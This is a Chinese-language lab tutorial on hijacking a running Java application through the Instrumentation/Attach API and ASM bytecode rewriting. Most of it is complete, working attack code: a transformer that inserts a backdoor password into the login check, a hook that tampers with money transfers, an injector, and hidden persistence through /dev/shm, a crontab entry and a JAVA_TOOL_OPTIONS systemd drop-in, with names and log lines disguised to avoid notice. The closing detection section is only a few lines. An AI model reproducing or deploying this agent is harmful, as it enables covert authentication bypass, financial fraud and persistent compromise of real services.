一、攻击链全景

1.1 完整攻击链路

1.2 Agent注入时序图

1.3 字节码改写前后对比

二、技术原理

2.1 Java Instrumentation机制内部工作流

JVM自JDK 5起提供java.lang.instrument包,允许通过Agent对已加载的类进行重定义(redefine)或重转换(retransform)。需要区分两个关键操作:

操作

方法

约束

适用场景

Redefine

redefineClasses()

不能增删方法/字段,不能改变继承关系

方法体内部逻辑修改

Retransform

retransformClasses()

同上约束,但可回滚到原始版本

可逆的运行时修改

两者的核心限制相同:不能改变类的结构签名(schema)。这意味着不能添加新方法、新字段或改变方法签名。但方法体内部的字节码可以完全替换——这对于攻击者来说已经足够,因为认证逻辑、业务判断都发生在方法体内部。

​

2.2 Attach API底层机制

Attach API的通信机制基于Unix域套接字。当调用VirtualMachine.attach(pid)时,底层执行以下步骤:

  1. 向目标JVM进程发送SIGQUIT信号(在Linux上);
  2. 目标JVM的Signal Dispatcher线程接收信号后,检查/tmp/.attach_pid<pid>文件是否存在;
  3. 若文件存在(由attacher创建),JVM启动Attach Listener线程;
  4. Attach Listener创建Unix域套接字/tmp/.java_pid<pid>;
  5. attacher通过该套接字发送命令(如load instrument agent.jar);
  6. 目标JVM加载Agent JAR,调用其agentmain方法。

三、实验环境搭建

3.1 系统环境

  • Kali linux 2026.1
  • jdk-21
  • Apache Maven 3.9.12

3.2 目标应用完整代码

3.2.1 项目结构

3.2.2 pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.victim</groupId>
    <artifactId>target-app</artifactId>
    <version>1.0.0</version>
    <packaging>jar</packaging>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.4.1</version>
        <relativePath/>
    </parent>

    <properties>
        <java.version>21</java.version>
        <maven.compiler.source>21</maven.compiler.source>
        <maven.compiler.target>21</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.14.0</version>
                <configuration>
                    <source>24</source>
                    <target>24</target>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

3.2.3 Application.java(启动类)

package com.victim;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

3.2.4 AuthService.java

package com.victim.service;

import org.springframework.stereotype.Service;
import java.security.MessageDigest;
import java.nio.charset.StandardCharsets;
import java.util.HexFormat;

@Service
public class AuthService {

    // "admin"的SHA-256哈希值
    // 验证: echo -n "admin" | sha256sum → 8c6976e5b541...a918
    private static final String ADMIN_HASH =
        "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918";

    /**
     * 认证核心方法——攻击者首要目标。
     *
     * @param username 用户名
     * @param password 明文密码
     * @return true=认证通过, false=认证失败
     */
    public boolean authenticate(String username, String password) {
        if (username == null || password == null) {
            return false;
        }
        try {
            MessageDigest digest = MessageDigest.getInstance("SHA-256");
            byte[] hash = digest.digest(password.getBytes(StandardCharsets.UTF_8));
            String hexHash = HexFormat.of().formatHex(hash);

            if ("admin".equals(username) && ADMIN_HASH.equals(hexHash)) {
                return true;
            }
            return false;
        } catch (Exception e) {
            return false;
        }
    }
}

3.2.5 TransferService.java

package com.victim.service;

import org.springframework.stereotype.Service;
import java.math.BigDecimal;

@Service
public class TransferService {

    public String transfer(String fromAccount, String toAccount, BigDecimal amount) {
        if (amount.compareTo(BigDecimal.ZERO) <= 0) {
            return "FAILED: Invalid amount";
        }
        if (amount.compareTo(new BigDecimal("1000000")) > 0) {
            return "FAILED: Exceeds single transaction limit";
        }
        System.out.println("[TRANSFER] " + fromAccount + " -> " + toAccount + ": $" + amount);
        return "SUCCESS: Transferred $" + amount + " from " + fromAccount + " to " + toAccount;
    }
}

3.2.6 AuthController.java

package com.victim.controller;

import com.victim.service.AuthService;
import com.victim.service.TransferService;
import org.springframework.web.bind.annotation.*;
import java.math.BigDecimal;

@RestController
public class AuthController {

    private final AuthService authService;
    private final TransferService transferService;

    public AuthController(AuthService authService, TransferService transferService) {
        this.authService = authService;
        this.transferService = transferService;
    }

    @PostMapping("/login")
    public String login(@RequestParam String username,
                       @RequestParam String password) {
        boolean result = authService.authenticate(username, password);
        return result ? "LOGIN_SUCCESS" : "LOGIN_FAILED";
    }

    @PostMapping("/transfer")
    public String transfer(@RequestParam String from,
                          @RequestParam String to,
                          @RequestParam String amount) {
        return transferService.transfer(from, to, new BigDecimal(amount));
    }
}

3.3 编译运行与测试

3.3.1 编译目标应用

cd ~/asm-hijack-lab/target-app
mvn clean package -DskipTests

3.3.2 启动目标应用

java -jar target/target-app-1.0.0.jar &

3.3.3 记录PID

echo 171751 > /tmp/target.pid

3.3.4 正常行为测试

正确密码 → 应返回LOGIN_SUCCESS

curl -s -X POST "http://localhost:8080/login?username=admin&password=admin"

错误密码 → 应返回LOGIN_FAILED

curl -s -X POST "http://localhost:8080/login?username=admin&password=wrongpass"

后门密码→ 应返回LOGIN_FAILED

curl -s -X POST "http://localhost:8080/login?username=admin&password=__rt_diag__"

这时候是注入前,理应就是失败。(用于和注入后形成对比参照)

正常转账

curl -s -X POST "http://localhost:8080/transfer?from=ACCT-001&to=ACCT-002&amount=100"

3.4 使用javap分析目标字节码

在编写ASM改写代码前,必须先分析目标方法的原始字节码结构,确认方法描述符、局部变量表布局和操作数栈深度。

从Spring Boot fat JAR中提取目标class文件

cd ~/asm-hijack-lab/target-app
unzip -o target/target-app-1.0.0.jar \
    BOOT-INF/classes/com/victim/service/AuthService.class \
    -d /tmp/extract

使用javap反编译字节码

$ javap -c -p -v /tmp/extract/BOOT-INF/classes/com/victim/service/AuthService.class

关键输出片段(authenticate方法):

含义:(参数1类型;参数2类型)返回类型

  • Ljava/lang/String; → String 参数
  • Z → boolean 返回值

ASM 中定位方法靠的就是 方法名 + descriptor。写 Transformer 时必须精确匹配:

if (name.equals("authenticate") 
    && descriptor.equals("(Ljava/lang/String;Ljava/lang/String;)Z")) {
    // 找到目标方法,开始篡改
}

写错 descriptor 就找不到目标方法。

slot 0 = this,slot 1 = username,slot 2 = password,这些信息直接用于ASM代码中的ALOAD指令编号;slot 3 被 digest 和 e 复用,分界点是偏移 62(catch 入口)。ASM 注入如果在偏移 10-61 范围使用 astore_3,会覆盖 digest 对象;在偏移 62 之后操作 slot 3 则是 Exception 引用。

四、恶意Agent工程

4.1 项目结构与Maven配置

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.agent</groupId>
    <artifactId>malicious-agent</artifactId>
    <version>1.0.0</version>
    <packaging>jar</packaging>

    <properties>
        <maven.compiler.source>21</maven.compiler.source>
        <maven.compiler.target>21</maven.compiler.target>
        <asm.version>9.7.1</asm.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.ow2.asm</groupId>
            <artifactId>asm</artifactId>
            <version>${asm.version}</version>
        </dependency>
        <dependency>
            <groupId>org.ow2.asm</groupId>
            <artifactId>asm-commons</artifactId>
            <version>${asm.version}</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.14.0</version>
                <configuration>
                    <source>21</source>
                    <target>21</target>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-jar-plugin</artifactId>
                <version>3.4.2</version>
                <configuration>
                    <archive>
                        <manifestEntries>
                            <Agent-Class>com.agent.AgentMain</Agent-Class>
                            <Premain-Class>com.agent.AgentMain</Premain-Class>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Main-Class>com.agent.Injector</Main-Class>
                        </manifestEntries>
                    </archive>
                </configuration>
            </plugin>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>3.6.0</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals><goal>shade</goal></goals>
                        <configuration>
                            <relocations>
                                <relocation>
                                    <pattern>org.objectweb.asm</pattern>
                                    <shadedPattern>com.agent.shaded.asm</shadedPattern>
                                </relocation>
                            </relocations>
                            <filters>
                                <filter>
                                    <artifact>*:*</artifact>
                                    <excludes>
                                        <exclude>META-INF/*.SF</exclude>
                                        <exclude>META-INF/*.DSA</exclude>
                                        <exclude>META-INF/*.RSA</exclude>
                                    </excludes>
                                </filter>
                            </filters>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

MANIFEST关键点解析:
• Agent-Class:通过Attach API的loadAgent()加载时,JVM查找此属性定位agentmain方法
• Premain-Class:通过-javaagent参数启动时,JVM查找此属性定位premain方法(持久化场景使用)
• Can-Retransform-Classes: true:必须声明,否则addTransformer(tf, true)会抛出UnsupportedOperationException
• Main-Class:允许JAR直接作为可执行文件运行Injector

4.2 AgentMain.java

package com.agent;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {

    private static volatile Instrumentation savedInstrumentation;

    /**
     * Attach API入口:目标JVM已在运行中时调用。
     */
    public static void agentmain(String agentArgs, Instrumentation inst) {
        doMain(agentArgs, inst);
    }

    /**
     * -javaagent入口:JVM启动时调用(持久化后使用此路径)。
     */
    public static void premain(String agentArgs, Instrumentation inst) {
        doMain(agentArgs, inst);
    }

    private static void doMain(String agentArgs, Instrumentation inst) {
        savedInstrumentation = inst;

        // 伪装为正常运行时模块的日志输出
        System.out.println("[RT-Support] Initializing runtime diagnostics module v2.1.0");

        // 创建并注册Transformer
        HijackTransformer transformer = new HijackTransformer();
        inst.addTransformer(transformer, true);

        // 触发已加载目标类的retransform
        retransformTargetClasses(inst);

        // 改写完成后立即移除Transformer(反检测)
        inst.removeTransformer(transformer);

        // 设置系统属性标记(供持久化检测使用)
        System.setProperty("jvm.rt.diag.loaded", "1");

        // 后台线程执行持久化安装
        Thread t = new Thread(() -> {
            try {
                Thread.sleep(3000); // 延迟3秒,避免与Attach操作时序冲突
                String agentPath = AgentMain.class.getProtectionDomain()
                    .getCodeSource().getLocation().getPath();
                // URL decode处理路径中的空格等特殊字符
                agentPath = java.net.URLDecoder.decode(agentPath, "UTF-8");
                PersistenceManager.install(agentPath);
            } catch (Exception ignored) {}
        }, "JVM-GC-Monitor-Worker"); // 线程名伪装
        t.setDaemon(true);
        t.start();

        System.out.println("[RT-Support] Diagnostics module ready.");
    }

    private static void retransformTargetClasses(Instrumentation inst) {
        String[] targets = {
            "com.victim.service.AuthService",
            "com.victim.service.TransferService"
        };

        for (Class<?> loadedClass : inst.getAllLoadedClasses()) {
            String name = loadedClass.getName();
            for (String target : targets) {
                if (name.equals(target)) {
                    try {
                        inst.retransformClasses(loadedClass);
                        System.out.println("[RT-Support] Patched: " + name);
                    } catch (UnmodifiableClassException e) {
                        System.err.println("[RT-Support] Cannot patch: " + name);
                    }
                    break;
                }
            }
        }
    }

    public static Instrumentation getInstrumentation() {
        return savedInstrumentation;
    }
}

4.3 HijackTransformer.java

package com.agent;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import org.objectweb.asm.*;

public class HijackTransformer implements ClassFileTransformer {

    private static final String AUTH_SERVICE = "com/victim/service/AuthService";
    private static final String TRANSFER_SERVICE = "com/victim/service/TransferService";

    @Override
    public byte[] transform(ClassLoader loader,
                           String className,
                           Class<?> classBeingRedefined,
                           ProtectionDomain protectionDomain,
                           byte[] classfileBuffer) {
        if (className == null) {
            return null;
        }

        try {
            if (AUTH_SERVICE.equals(className)) {
                return rewrite(classfileBuffer, new AuthBypassVisitor(Opcodes.ASM9, null));
            }
            if (TRANSFER_SERVICE.equals(className)) {
                return rewrite(classfileBuffer, null); // 使用专用方法
            }
        } catch (Exception e) {
            // 静默失败:保持原始字节码,避免破坏目标应用
            System.err.println("[RT-Support] Transform error on " + className + ": " + e);
            return null;
        }
        return null;
    }

    private byte[] rewrite(byte[] original, ClassVisitor visitorPrototype) {
        ClassReader cr = new ClassReader(original);
        // COMPUTE_FRAMES让ASM自动计算StackMapTable,消除手动计算的错误风险
        // 传入cr作为参数启用"优化模式":未修改的方法直接复制,不重新计算
        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
        ClassVisitor cv;
        if (visitorPrototype instanceof AuthBypassVisitor) {
            cv = new AuthBypassVisitor(Opcodes.ASM9, cw);
        } else {
            cv = new TransferHijackVisitor(Opcodes.ASM9, cw);
        }
        // SKIP_FRAMES: 因为COMPUTE_FRAMES会重算所有帧,跳过原始帧信息避免冲突
        cr.accept(cv, ClassReader.SKIP_FRAMES);
        return cw.toByteArray();
    }
}

COMPUTE_FRAMES + SKIP_FRAMES组合的意义:
使用ClassWriter.COMPUTE_FRAMES标志时,ASM会自动计算所有方法的StackMapTable(帧信息),这意味着我们在MethodVisitor中不需要手动调用visitFrame()。同时,在ClassReader.accept()时传入SKIP_FRAMES标志,跳过原始class中的帧信息(否则会与自动计算的结果冲突)。这个组合是处理分支插入时避免VerifyError的最可靠方式。

4.4 AuthBypassVisitor.java

package com.agent;

import org.objectweb.asm.*;

/**
 * 认证绕过Visitor。
 *
 * 改写效果等价于在方法开头插入:
 *   if ("__rt_diag__".equals(password)) return true;
 *
 * 由于使用COMPUTE_FRAMES,无需手动声明visitFrame。
 */
public class AuthBypassVisitor extends ClassVisitor {

    public AuthBypassVisitor(int api, ClassVisitor cv) {
        super(api, cv);
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor,
                                     String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        if (mv == null) return null;

        // 精确匹配:方法名 + 描述符(避免误改重载方法)
        if ("authenticate".equals(name)
                && "(Ljava/lang/String;Ljava/lang/String;)Z".equals(descriptor)) {
            return new AuthMethodAdapter(api, mv);
        }
        return mv;
    }

    private static class AuthMethodAdapter extends MethodVisitor {

        public AuthMethodAdapter(int api, MethodVisitor mv) {
            super(api, mv);
        }

        @Override
        public void visitCode() {
            super.visitCode();

            // ──────────────────────────────────────────────────────────────
            // 插入的字节码指令序列:
            //
            //   LDC "__rt_diag__"        ; 将后门密码压栈
            //   ALOAD 2                  ; 加载password参数 (slot 2)
            //   INVOKEVIRTUAL String.equals(Object)Z
            //   IFEQ label_original      ; equals返回false → 跳转到原始逻辑
            //   ICONST_1                 ; true
            //   IRETURN                  ; return true(认证通过)
            // label_original:
            //   ... 原始方法体继续 ...
            // ──────────────────────────────────────────────────────────────

            Label originalLogic = new Label();

            // 后门密码常量 → 栈顶
            mv.visitLdcInsn("__rt_diag__");

            // 加载password参数 (实例方法: slot0=this, slot1=username, slot2=password)
            mv.visitVarInsn(Opcodes.ALOAD, 2);

            // 调用 "__rt_diag__".equals(password)
            mv.visitMethodInsn(
                Opcodes.INVOKEVIRTUAL,
                "java/lang/String",
                "equals",
                "(Ljava/lang/Object;)Z",
                false
            );

            // IFEQ: 若栈顶int == 0 (false),跳转到原始逻辑
            mv.visitJumpInsn(Opcodes.IFEQ, originalLogic);

            // 匹配成功:return true
            mv.visitInsn(Opcodes.ICONST_1);
            mv.visitInsn(Opcodes.IRETURN);

            // 原始逻辑起始标签(COMPUTE_FRAMES自动处理帧状态)
            mv.visitLabel(originalLogic);
        }
    }
}

4.5 操作数栈状态

4.6 TransferHijackVisitor.java

package com.agent;

import org.objectweb.asm.*;

/**
 * 转账逻辑篡改Visitor。
 *
 * 策略:在transfer方法每个ARETURN指令前插入佣金逻辑。
 * 仅对返回值以"SUCCESS"开头的成功交易执行副作用。
 *
 * 由于使用COMPUTE_FRAMES + SKIP_FRAMES组合,不需要手动visitFrame。
 */
public class TransferHijackVisitor extends ClassVisitor {

    private static final String ATTACKER_ACCOUNT = "OFFSHORE-8829-XX";

    public TransferHijackVisitor(int api, ClassVisitor cv) {
        super(api, cv);
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor,
                                     String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        if (mv == null) return null;

        if ("transfer".equals(name)
                && "(Ljava/lang/String;Ljava/lang/String;Ljava/math/BigDecimal;)Ljava/lang/String;"
                    .equals(descriptor)) {
            return new TransferMethodAdapter(api, mv);
        }
        return mv;
    }

    private static class TransferMethodAdapter extends MethodVisitor {

        public TransferMethodAdapter(int api, MethodVisitor mv) {
            super(api, mv);
        }

        @Override
        public void visitInsn(int opcode) {
            if (opcode == Opcodes.ARETURN) {
                // 在ARETURN前插入佣金逻辑
                injectCommission();
            }
            super.visitInsn(opcode);
        }

        private void injectCommission() {
            // ══════════════════════════════════════════════════════════
            // 此时操作数栈状态: [..., returnValue(String)]
            // 目标: 检查returnValue是否以"SUCCESS"开头,是则打印佣金日志
            // 要求: 不改变栈状态,returnValue仍留在栈顶供ARETURN使用
            // ══════════════════════════════════════════════════════════

            // 复制栈顶的返回值(DUP后栈: [..., returnValue, returnValue])
            mv.visitInsn(Opcodes.DUP);

            // 调用 returnValue.startsWith("SUCCESS")
            mv.visitLdcInsn("SUCCESS");
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String",
                "startsWith", "(Ljava/lang/String;)Z", false);
            // 栈: [..., returnValue, startsWith_result(int)]

            Label skip = new Label();
            mv.visitJumpInsn(Opcodes.IFEQ, skip);
            // 进入此分支时栈: [..., returnValue]

            // ── 佣金日志输出 ──
            mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System",
                "out", "Ljava/io/PrintStream;");

            // 构建字符串: "[COMMISSION] " + fromAccount + " -> OFFSHORE-8829-XX: $0.01"
            mv.visitTypeInsn(Opcodes.NEW, "java/lang/StringBuilder");
            mv.visitInsn(Opcodes.DUP);
            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/StringBuilder",
                "<init>", "()V", false);

            mv.visitLdcInsn("[COMMISSION] ");
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
                "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);

            // 加载fromAccount参数 (slot 1)
            mv.visitVarInsn(Opcodes.ALOAD, 1);
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
                "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);

            mv.visitLdcInsn(" -> " + ATTACKER_ACCOUNT + ": $0.01");
            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
                "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);

            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/StringBuilder",
                "toString", "()Ljava/lang/String;", false);

            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream",
                "println", "(Ljava/lang/String;)V", false);

            // skip标签处:栈状态仍为 [..., returnValue]
            mv.visitLabel(skip);
            // ARETURN将由super.visitInsn(opcode)发出
        }
    }
}

4.7 操作数栈状态追踪——TransferHijackVisitor

4.8 Injector.java

package com.agent;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.List;

/**
 * Agent注入器。
 *
 * 用法:
 *   java --add-modules jdk.attach -jar malicious-agent-1.0.0.jar [pid | keyword]
 *
 * 示例:
 *   java --add-modules jdk.attach -jar malicious-agent-1.0.0.jar 28451
 *   java --add-modules jdk.attach -jar malicious-agent-1.0.0.jar target-app
 */
public class Injector {

    public static void main(String[] args) {
        System.out.println("[*] ASM Bytecode Injector v1.0");

        // 解析Agent JAR路径(与Injector在同一JAR中)
        String agentPath = resolveAgentPath();
        System.out.println("[*] Agent JAR: " + agentPath);

        // 确定目标PID
        String targetPid = resolveTargetPid(args);
        if (targetPid == null) {
            System.err.println("[-] No target JVM found. Usage: Injector [pid|keyword]");
            System.err.println("[-] Available JVMs:");
            VirtualMachine.list().forEach(vmd ->
                System.err.println("    PID " + vmd.id() + ": " + vmd.displayName())
            );
            System.exit(1);
        }
        System.out.println("[*] Target PID: " + targetPid);

        // 执行注入
        try {
            System.out.println("[*] Attaching to target JVM...");
            VirtualMachine vm = VirtualMachine.attach(targetPid);
            System.out.println("[*] Loading agent...");
            vm.loadAgent(agentPath);
            vm.detach();
            System.out.println("[+] Agent injected successfully!");
        } catch (Exception e) {
            System.err.println("[-] Injection FAILED: " + e.getMessage());
            if (e.getMessage() != null && e.getMessage().contains("not attach")) {
                System.err.println("[-] Hint: Ensure you run as the same user as the target JVM");
                System.err.println("[-] Hint: Check if -XX:+DisableAttachMechanism is set");
            }
            System.exit(1);
        }
    }

    private static String resolveAgentPath() {
        try {
            String path = Injector.class.getProtectionDomain()
                .getCodeSource().getLocation().toURI().getPath();
            return new File(path).getAbsolutePath();
        } catch (Exception e) {
            // 回退:从当前目录查找
            File fallback = new File("target/malicious-agent-1.0.0.jar");
            if (fallback.exists()) {
                return fallback.getAbsolutePath();
            }
            throw new RuntimeException("Cannot resolve agent JAR path", e);
        }
    }

    private static String resolveTargetPid(String[] args) {
        if (args.length == 0) {
            return findPidByKeyword("target-app");
        }
        String arg = args[0];
        if (arg.matches("\\d+")) {
            return arg; // 直接PID
        }
        return findPidByKeyword(arg); // 关键字搜索
    }

    private static String findPidByKeyword(String keyword) {
        List<VirtualMachineDescriptor> vms = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : vms) {
            if (vmd.displayName().contains(keyword)) {
                return vmd.id();
            }
        }
        return null;
    }
}

4.9 PersistenceManager.java

package com.agent;

import java.io.*;
import java.nio.file.*;
import java.nio.charset.StandardCharsets;

public class PersistenceManager {

    private static final String AGENT_HIDDEN_PATH = "/dev/shm/.jvm-cache/rt-support.jar";

    public static void install(String agentSourcePath) {
        try {
            // 1. 复制Agent到tmpfs(内存文件系统,不写入物理磁盘)
            Path hiddenDir = Paths.get("/dev/shm/.jvm-cache");
            Files.createDirectories(hiddenDir);

            Path source = Paths.get(agentSourcePath);
            if (Files.exists(source)) {
                Files.copy(source, Paths.get(AGENT_HIDDEN_PATH),
                    StandardCopyOption.REPLACE_EXISTING);
            }

            // 2. 创建重注入脚本
            String script = "#!/bin/bash\n"
                + "# JVM Runtime Health Check\n"
                + "TARGET_PID=$(pgrep -f 'target-app.*\\.jar' | head -1)\n"
                + "if [ -n \"$TARGET_PID\" ]; then\n"
                + "  LOADED=$(jcmd $TARGET_PID VM.system_properties 2>/dev/null"
                + " | grep 'jvm.rt.diag.loaded')\n"
                + "  if [ -z \"$LOADED\" ]; then\n"
                + "    java --add-modules jdk.attach -jar " + AGENT_HIDDEN_PATH
                + " $TARGET_PID >/dev/null 2>&1\n"
                + "  fi\n"
                + "fi\n";

            Path scriptPath = hiddenDir.resolve("health-check.sh");
            Files.writeString(scriptPath, script);
            scriptPath.toFile().setExecutable(true);

            // 3. 安装crontab条目
            installCron(scriptPath.toString());

        } catch (Exception e) {
            // 持久化是可选的增强功能,失败不影响当前注入效果
        }
    }

    private static void installCron(String scriptPath) throws Exception {
        // 读取现有crontab
        ProcessBuilder pb = new ProcessBuilder("crontab", "-l");
        pb.redirectErrorStream(true);
        Process p = pb.start();
        String existing = new String(p.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
        p.waitFor();

        // 幂等检查
        if (existing.contains("health-check.sh")) {
            return;
        }

        // 追加cron任务
        String newCrontab = existing
            + "\n# JVM runtime health monitoring\n"
            + "*/5 * * * * " + scriptPath + " >/dev/null 2>&1\n";

        pb = new ProcessBuilder("crontab", "-");
        p = pb.start();
        p.getOutputStream().write(newCrontab.getBytes(StandardCharsets.UTF_8));
        p.getOutputStream().close();
        p.waitFor();
    }
}

五、编译、注入与验证

5.1 编译Agent项目

编译恶意Agent

cd ~/asm-hijack-lab/malicious-agent
mvn clean package

检查产物大小

  • 183K — 包含了 ASM 库(asm + asm-commons 约 150K+),说明依赖已被打包进 fat jar,agent 可以独立运行
  • 如果只有几 KB — 说明 shade 失败,ASM 没有打进去,agent 运行时会抛 ClassNotFoundException: org.objectweb.asm.*

Java Agent 通过 -javaagent 或 Attach API 加载时,不会使用目标应用的 classpath,只能访问自身 jar 内的类。所以必须确认所有依赖都已内嵌。

验证MANIFEST.MF内容

unzip -p target/malicious-agent-1.0.0.jar META-INF/MANIFEST.MF

这一步是验证 MANIFEST.MF 中的 Agent 关键属性能正确写入。

属性

作用

Premain-Class

JVM 启动时通过 -javaagent 加载的入口类

Agent-Class

运行时通过 Attach API 动态注入的入口类

Can-Retransform-Classes: true

允许对已加载的类进行重新转换(字节码篡改)

Can-Redefine-Classes: true

允许重新定义已加载的类

Main-Class

直接 java -jar 执行时的入口(Injector,用于执行 Attach 注入)

如果这些属性缺失或拼写错误:

  • 缺 Agent-Class → Attach API 注入时 JVM 报错拒绝加载
  • Can-Retransform-Classes 为 false 或缺失 → 无法对已加载的 AuthService 做字节码篡改
  • 缺 Premain-Class → -javaagent 方式启动失败

5.2 执行注入

方式1:通过PID直接注入

java --add-modules jdk.attach \
       -jar target/malicious-agent-1.0.0.jar \
       $(cat /tmp/target.pid)

方式2:通过关键字自动搜索目标JVM

java --add-modules jdk.attach \
       -jar target/malicious-agent-1.0.0.jar \
       target-app

输出刻意伪装为无害的运维信息:

[RT-Support] Initializing runtime diagnostics module v2.1.0
[RT-Support] Diagnostics module ready.

这是从受害者视角观察到的注入痕迹 — 如果攻击者去掉这些打印语句,目标端将完全无感。

意义:
  • 攻击门槛低:知道进程名即可,无需 PID
  • 无幂等保护:可反复注入,叠加或覆盖篡改
  • 目标无感知:target-app 自身日志中可能没有任何异常记录

5.3 攻击效果验证

验证1:认证绕过——使用后门密码

curl -s -X POST "http://localhost:8080/login?username=anyone&password=__rt_diag__"


任意用户名 + 后门密码:

curl -s -X POST "http://localhost:8080/login?username=root&password=__rt_diag__"

甚至不存在的用户也可以通过。

​

验证2:正常认证不受影响

curl -s -X POST "http://localhost:8080/login?username=admin&password=admin"

正确密码仍然有效。

​

curl -s -X POST "http://localhost:8080/login?username=admin&password=wrong"

错误密码仍然被拒绝。


验证3:转账佣金篡改

curl -s -X POST "http://localhost:8080/transfer?from=ACCT-001&to=ACCT-002&amount=50000"


验证4:失败交易不触发佣金

curl -s -X POST "http://localhost:8080/transfer?from=ACCT-001&to=ACCT-002&amount=-100"

控制台无[COMMISSION]输出。

5.4 使用javap验证字节码已被改写

通过jcmd导出运行时类的字节码,使用javap反编译确认改写效果:

使用jcmd的Compiler.CodeHeap_Analytics

jcmd $(cat /tmp/target.pid) VM.system_properties | grep jvm.rt.diag

agent 代码在 agentmain 执行时调用了类似:

System.setProperty("jvm.rt.diag.loaded", "1");

用于标记自身已加载,避免重复初始化。

属性名 jvm.rt.diag.loaded 伪装成"运行时诊断模块",不会引起运维人员警觉。如果不是刻意搜索,很难发现这是恶意 agent 的痕迹。

反过来说,这也是防御方可以利用的检测手段:

  • 定期用 jcmd <pid> VM.system_properties 检查是否存在可疑属性
  • 监控 System.setProperty 调用
  • 对比启动时和运行时的系统属性差异

六、无痕持久化

JAVA_TOOL_OPTIONS持久化

  • JAVA_TOOL_OPTIONS是JVM规范定义的标准环境变量。
  • 所有Java进程启动时自动读取该变量并追加到命令行参数。
  • JVM启动时会在stderr输出: "Picked up JAVA_TOOL_OPTIONS: ..."
  • 利用systemd drop-in机制,不修改原始service文件

将Agent放入伪装位置

sudo mkdir -p /opt/target-app/lib
sudo cp ~/asm-hijack-lab/malicious-agent/target/malicious-agent-1.0.0.jar \
          /opt/target-app/lib/jvm-diagnostics-2.1.0.jar

创建systemd drop-in配置

sudo mkdir -p /etc/systemd/system/target-app.service.d
sudo tee /etc/systemd/system/target-app.service.d/jvm-tuning.conf << 'EOF'
[Service]
# JVM Performance Tuning - Applied 2026-05-09
Environment="JAVA_TOOL_OPTIONS=-javaagent:/opt/target-app/lib/jvm-diagnostics-2.1.0.jar"
EOF

先创建 systemd 服务

sudo tee /etc/systemd/system/target-app.service << 'EOF'
[Unit]
Description=Target App
After=network.target

[Service]
ExecStart=/usr/bin/java -jar /home/nl/asm-hijack-lab/target-app/target/target-app-1.0.0.jar
User=nl
WorkingDirectory=/home/nl/asm-hijack-lab/target-app

[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload

停掉当前手动启动的进程

kill $(cat /tmp/target.pid)

下次服务重启时Agent自动加载

通过 systemd 启动

sudo systemctl start target-app

在JVM stderr中会出现:

journalctl -u target-app --no-pager | head -20

这就证明了重启后 agent 自动加载,无需再手动注入。

七、检测与防御

重新启动 target-app,得到新进程 PID:209402

JFR事件监控

启动JFR持续记录

